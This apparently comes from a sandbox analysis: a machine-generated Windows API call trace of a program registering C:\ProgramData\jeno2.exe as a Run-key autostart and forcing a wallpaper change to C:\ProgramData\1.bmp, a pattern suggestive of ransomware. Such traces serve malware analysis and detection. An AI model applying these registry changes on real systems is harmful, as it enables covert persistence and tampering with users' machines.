lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=101, lpMultiByteStr=0x1446d5c, cbMultiByte=101, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", lpUsedDefaultChar=0x0) returned 101 [0177.011] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0177.011] GetLastError () returned 0x0 [0177.012] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x64 [0177.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446d5c, cbMultiByte=100, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 100 [0177.012] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x64 [0177.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446d5c, cbMultiByte=101, lpWideCharStr=0x144bb04, cchWideChar=201 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 101 [0177.012] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0177.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.012] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0177.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=31, lpMultiByteStr=0x14d9ee4, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\jeno2.exe\" -ui", lpUsedDefaultChar=0x0) returned 31 [0177.012] SysStringLen (param_1="BJCMQL") returned 0x6 [0177.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.012] SysStringLen (param_1="BJCMQL") returned 0x6 [0177.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=7, lpMultiByteStr=0x53a5384, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BJCMQL", lpUsedDefaultChar=0x0) returned 7 [0177.012] RegSetValueExA (hKey=0x0, lpValueName="BJCMQL", Reserved=0x0, dwType=0x1, lpData=0x14d9ee4, cbData=0x1e) returned 0x6 [0177.012] GetLastError () returned 0x0 [0177.012] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0177.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0177.012] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0177.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=7, lpWideCharStr=0x14f5e2c, cchWideChar=13 | out: lpWideCharStr="BJCMQL") returned 7 [0177.012] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0177.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14d9ee4, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0177.012] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0177.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14d9ee4, cbMultiByte=31, lpWideCharStr=0x1446d5c, cchWideChar=61 | out: lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 31 [0177.013] RegFlushKey (hKey=0x0) returned 0x6 [0177.013] GetLastError () returned 0x0 [0177.013] RegCloseKey (hKey=0x0) returned 0x6 [0177.013] GetLastError () returned 0x0 [0177.013] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x70 [0177.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=112, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 112 [0177.013] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x70 [0177.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=113, lpMultiByteStr=0x1445ffc, cbMultiByte=113, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 113 [0177.013] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0177.013] GetLastError () returned 0x0 [0177.013] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x70 [0177.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0177.013] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x70 [0177.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=113, lpWideCharStr=0x146c82c, cchWideChar=225 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 113 [0177.014] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.014] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0177.014] SysStringLen (param_1="Wallpaper") returned 0x9 [0177.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.014] SysStringLen (param_1="Wallpaper") returned 0x9 [0177.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x53a5384, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0177.014] RegSetValueExA (hKey=0x0, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData=0x14f5634, cbData=0x14) returned 0x6 [0177.014] GetLastError () returned 0x0 [0177.014] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0177.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0177.014] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0177.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=10, lpWideCharStr=0x14f5e2c, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0177.014] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0177.014] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpWideCharStr=0x14b4fbc, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0177.014] RegFlushKey (hKey=0x0) returned 0x6 [0177.014] GetLastError () returned 0x0 [0177.014] RegCloseKey (hKey=0x0) returned 0x6 [0177.014] GetLastError () returned 0x0 [0177.015] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x70 [0177.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=112, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 112 [0177.015] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x70 [0177.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=113, lpMultiByteStr=0x144bb04, cbMultiByte=113, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 113 [0177.015] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0177.015] GetLastError () returned 0x0 [0177.015] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x70 [0177.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0177.015] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x70 [0177.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=113, lpWideCharStr=0x146c82c, cchWideChar=225 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 113 [0177.015] SysStringLen (param_1="0") returned 0x1 [0177.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0177.015] SysStringLen (param_1="0") returned 0x1 [0177.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x14f5634, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0177.015] SysStringLen (param_1="WallpaperStyle") returned 0xe [0177.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.015] SysStringLen (param_1="WallpaperStyle") returned 0xe [0177.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5e2c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0177.015] RegSetValueExA (hKey=0x0, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData=0x14f5634, cbData=0x1) returned 0x6 [0177.015] GetLastError () returned 0x0 [0177.015] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0177.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0177.015] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0177.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=15, lpWideCharStr=0x14b4fbc, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0177.016] SysStringByteLen (bstr="0") returned 0x1 [0177.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0177.016] SysStringByteLen (bstr="0") returned 0x1 [0177.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=2, lpWideCharStr=0x53a5384, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0177.016] RegFlushKey (hKey=0x0) returned 0x6 [0177.016] GetLastError () returned 0x0 [0177.016] RegCloseKey (hKey=0x0) returned 0x6 [0177.016] GetLastError () returned 0x0 [0177.016] SysStringLen (param_1=" ") returned 0x104 [0177.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=260, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 260 [0177.016] SysStringLen (param_1=" ") returned 0x104 [0177.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=261, lpMultiByteStr=0x14e628c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 261 [0177.016] RegEnumKeyA (in: hKey=0x80000003, dwIndex=0x5, lpName=0x14e628c, cchName=0x104 | out: lpName="S-1-5-18") returned 0x0 [0177.016] GetLastError () returned 0x0 [0177.016] SysStringByteLen (bstr="ⵓⴱⴵ㠱 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0177.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14e628c, cbMultiByte=260, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 260 [0177.016] SysStringByteLen (bstr="ⵓⴱⴵ㠱 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0177.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14e628c, cbMultiByte=261, lpWideCharStr=0x53ccd0c, cchWideChar=521 | out: lpWideCharStr="S-1-5-18") returned 261 [0177.017] SysStringLen (param_1="S-1-5-18\\Control Panel\\Desktop") returned 0x1e [0177.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.017] SysStringLen (param_1="S-1-5-18\\Control Panel\\Desktop") returned 0x1e [0177.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b4fbc, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-18\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0177.017] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-18\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0177.017] GetLastError () returned 0x0 [0177.017] SysStringByteLen (bstr="ⵓⴱⴵ㠱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0177.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4fbc, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0177.017] SysStringByteLen (bstr="ⵓⴱⴵ㠱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0177.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4fbc, cbMultiByte=31, lpWideCharStr=0x146c82c, cchWideChar=61 | out: lpWideCharStr="S-1-5-18\\Control Panel\\Desktop") returned 31 [0177.017] SysStringLen (param_1="0") returned 0x1 [0177.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0177.017] SysStringLen (param_1="0") returned 0x1 [0177.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x1452454, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0177.017] SysStringLen (param_1="TileWallpaper") returned 0xd [0177.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.017] SysStringLen (param_1="TileWallpaper") returned 0xd [0177.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=14, lpMultiByteStr=0x14f560c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TileWallpaper", lpUsedDefaultChar=0x0) returned 14 [0177.017] RegSetValueExA (in: hKey=0x720, lpValueName="TileWallpaper", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x1 | out: lpData="0") returned 0x0 [0177.017] GetLastError () returned 0x0 [0177.017] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0177.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0177.018] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0177.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=14, lpWideCharStr=0x14f5b84, cchWideChar=27 | out: lpWideCharStr="TileWallpaper") returned 14 [0177.018] SysStringByteLen (bstr="0") returned 0x1 [0177.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0177.018] SysStringByteLen (bstr="0") returned 0x1 [0177.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=2, lpWideCharStr=0x14f5634, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0177.018] RegFlushKey (hKey=0x720) returned 0x0 [0177.018] GetLastError () returned 0x0 [0177.018] RegCloseKey (hKey=0x720) returned 0x0 [0177.019] GetLastError () returned 0x0 [0177.019] SysStringLen (param_1="S-1-5-18\\Control Panel\\Desktop") returned 0x1e [0177.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.019] SysStringLen (param_1="S-1-5-18\\Control Panel\\Desktop") returned 0x1e [0177.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b48fc, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-18\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0177.019] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-18\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0177.019] GetLastError () returned 0x0 [0177.019] SysStringByteLen (bstr="ⵓⴱⴵ㠱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0177.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0177.019] SysStringByteLen (bstr="ⵓⴱⴵ㠱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0177.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=31, lpWideCharStr=0x144bb04, cchWideChar=61 | out: lpWideCharStr="S-1-5-18\\Control Panel\\Desktop") returned 31 [0177.019] SysStringLen (param_1="10") returned 0x2 [0177.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0177.019] SysStringLen (param_1="10") returned 0x2 [0177.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=3, lpMultiByteStr=0x1452454, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10", lpUsedDefaultChar=0x0) returned 3 [0177.020] SysStringLen (param_1="WallpaperStyle") returned 0xe [0177.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.020] SysStringLen (param_1="WallpaperStyle") returned 0xe [0177.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5b84, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0177.020] RegSetValueExA (in: hKey=0x720, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData="10", cbData=0x2 | out: lpData="10") returned 0x0 [0177.020] GetLastError () returned 0x0 [0177.020] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0177.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0177.020] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0177.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=15, lpWideCharStr=0x14b48fc, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0177.020] SysStringByteLen (bstr="〱") returned 0x2 [0177.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0177.020] SysStringByteLen (bstr="〱") returned 0x2 [0177.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=3, lpWideCharStr=0x14f560c, cchWideChar=5 | out: lpWideCharStr="10") returned 3 [0177.020] RegFlushKey (hKey=0x720) returned 0x0 [0177.021] GetLastError () returned 0x0 [0177.021] RegCloseKey (hKey=0x720) returned 0x0 [0177.021] GetLastError () returned 0x0 [0177.021] SysStringLen (param_1="S-1-5-18\\Control Panel\\Desktop") returned 0x1e [0177.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.021] SysStringLen (param_1="S-1-5-18\\Control Panel\\Desktop") returned 0x1e [0177.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b48fc, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-18\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0177.021] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-18\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0177.021] GetLastError () returned 0x0 [0177.021] 